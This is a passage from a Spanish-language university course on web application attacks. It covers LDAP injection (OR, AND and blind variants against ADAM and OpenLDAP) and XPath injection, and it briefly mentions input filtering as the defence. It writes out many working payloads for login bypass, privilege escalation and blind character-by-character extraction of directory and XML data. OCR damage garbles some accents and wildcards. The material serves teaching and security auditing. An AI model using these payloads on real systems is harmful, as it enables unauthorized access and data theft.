inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten
no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre
cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo
antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta
por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))
Figura 15 Inyeccioacuten sin resultados
CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web
Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten
no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha
Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes
datos Es decir solo devuelve los datos del primer filtro completo y el resto de
la cadena es ignorado
212 LDAP Injection con OpenLDAP
Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol
que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya
estructura es la siguiente
Figura 16 Estructura del aacuterbol LDAP en OpenLDAP
Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-
niendo un uacutenico objeto como resultado (uid=kurt)
CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web
Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado
Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido
en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-
dor OR y un filtro que incluyera todos los resultados como se puede ver en la
siguiente imagen (|(uid=kurt)(uid=))
Figura 18 Todos los usuarios
Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento
sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))
CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web
Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro
Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado
el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba
ADAM
213 Conclusiones
Tras realizar estas pruebas podemos extraer las siguientes conclusiones
bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje
contra ADAM u OpenLDAP es necesario que el filtro original es decir el
del programador tenga un operador OR o AND A partir de este punto se
pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten
o realizar ataques blind es decir a ciegas
bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente
anidada en un uacutenico par de pareacutentesis general o bien que el componente
permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha
del filtro
bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust
puede ser vista de dos formas diferentes una primera en la que seriacutea vista
como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-
mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro
mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-
tariacuteamos hablando de un comportamiento particular de algunos motores
LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con
un segundo filtro con un operador el operador OR innecesario
CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web
A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP
que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten
siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-
jection y Blind LDAP Injection
214 ldquoORrdquo LDAP Injection
En este entorno nos encontrariacuteamos con que el programador ha creado una
consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados
al usuario
(|(atributo1=valor1)(atributo2=valor2))
Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-
table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-
dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea
ldquoGroupsrdquo Al ejecutarla obtenemos
Figura 20 Consulta OR sin inyeccioacuten
Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-
driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-
nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-
dena void)(uid=))(|(uid=
CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web
Figura 21 Lista de usuarios obtenida tras la inyeccioacuten
Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|
(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-
ta de todos los usuarios del aacuterbol LDAP
Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en
este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente
tipo
(|(type=outputDevices)(type=printer))
Figura 22 Listado de impresoras y dispositivos de salida
Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea
modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo
CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web
(|(type=outputDevices)(type=printer)(uid=))(|(type=void))
Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los
usuarios como se puede ver en la figura 23
Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection
215 ldquoANDrdquo LDAP Injection
En el caso de inyecciones en consultas LDAP que lleven el operador AND el
atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido
pero se pueden utilizar las inyecciones para mediatizar los resultados y por
ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con
una consulta del siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Supongamos un entorno en el que se muestra la lista de todos los documentos
a los que un usuario con pocos privilegios tiene acceso mediante una consulta
que incluye el directorio de documentos en un paraacutemetro inyectable Es decir
la consulta original es
(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))
Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder
acceder a los documentos de nivel de seguridad alto
(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))
Para conseguir este resultado se habraacute inyectado en el nombre del directorio
la siguiente cadena
almacen)(nivel_seguridad=alto))(|(directorio=almacen
CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web
Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer
lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando
una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza
una consulta LDAP del tipo
(amp(uid=valor_de_user)(password=valor_de_password)
El atacante inyectando la cadena slisberger)(amp)) en el valor del USER
obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger
y por lo tanto conseguiriacutea el acceso a la aplicacioacuten
Figura 24 Acceso no autorizado mediante AND LDAP Injection
Y como se puede ver en la figura 25 el usuario consigue acceso al directorio
privado del usuario slisberger En este caso se ha utilizado el filtro (amp)
que es el equivalente al valor TRUE en los filtros LDAP
Figura 25 Directorio home del usuario
Como se puede ver en este caso el usuario ha accedido con privilegios de nivel
bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio
de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se
puede ver en la figura 26
CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web
Figura 26 Listado de documentos de nivel bajo
La consulta que se estaacute ejecutando es
(amp(directory=nombre_directorio)(level=low))
El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del
servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio
el siguiente comando Documents)(level=High) De esta forma el coman-
do que se ejecutariacutea seriacutea
(amp(directory=Documents)(level=High))(level=low))
Permitiendo al atacante acceder a todos los documentos Se ha producido una
elevacioacuten de privilegios
CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web
Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection
22 Blind LDAP Injection
Una de las evoluciones de las inyecciones de comandos son las acciones a
ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques
Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no
se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer
informacioacuten de un aacuterbol LDAP
El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que
cumple dos caracteriacutesticas
bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada
al aacuterbol LDAP
bull El uso de los resultados produce cambios en la respuesta http que el cliente
recibe
Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer
informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-
vando los cambios en las respuestas http
CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web
221 Blind LDAP Injection en un entorno ldquoANDrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(amp(atributo1=valor1)(atributo2=valor2))
Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND
tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el
atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo
que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos
aplicarle un valor que sea true es decir que siempre seleccione objetos para
tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que
tambieacuten nos garantice que sea true
Supongamos la siguiente consulta LDAP
(amp(objectClass=Impresoras)(impresoraTipo=Epson))
Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson
de tal manera que el programador si recibe alguacuten objeto simplemente pinta
en la paacutegina web un icono de una impresora Epson
Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el
icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y
como hemos dicho realizando una inyeccioacuten del siguiente tipo
(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante
Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado
en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-
mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP
222 Reconocimiento de clases de objetos de un aacuterbol LDAP
Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-
mos centrarnos en el segundo filtro realizando un recorrido de la siguiente
forma
(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web
De tal manera que todas aquellas inyecciones que devolvieran el icono de la
impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean
la existencia de ese tipo de objetos
Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-
beto de posibles valores utilizando una buacutesqueda con comodines para ello
realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de
la siguiente forma
(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran
dado una respuesta positiva
(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))
Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos
llegar a saber el nombre de todos los objetcClass de un sistema
Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)
Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido
para cualquier atributo que un objeto compartiera con el atributo fijo Una
vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-
CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web
rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los
nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido
con la siguiente inyeccioacuten
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-
bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
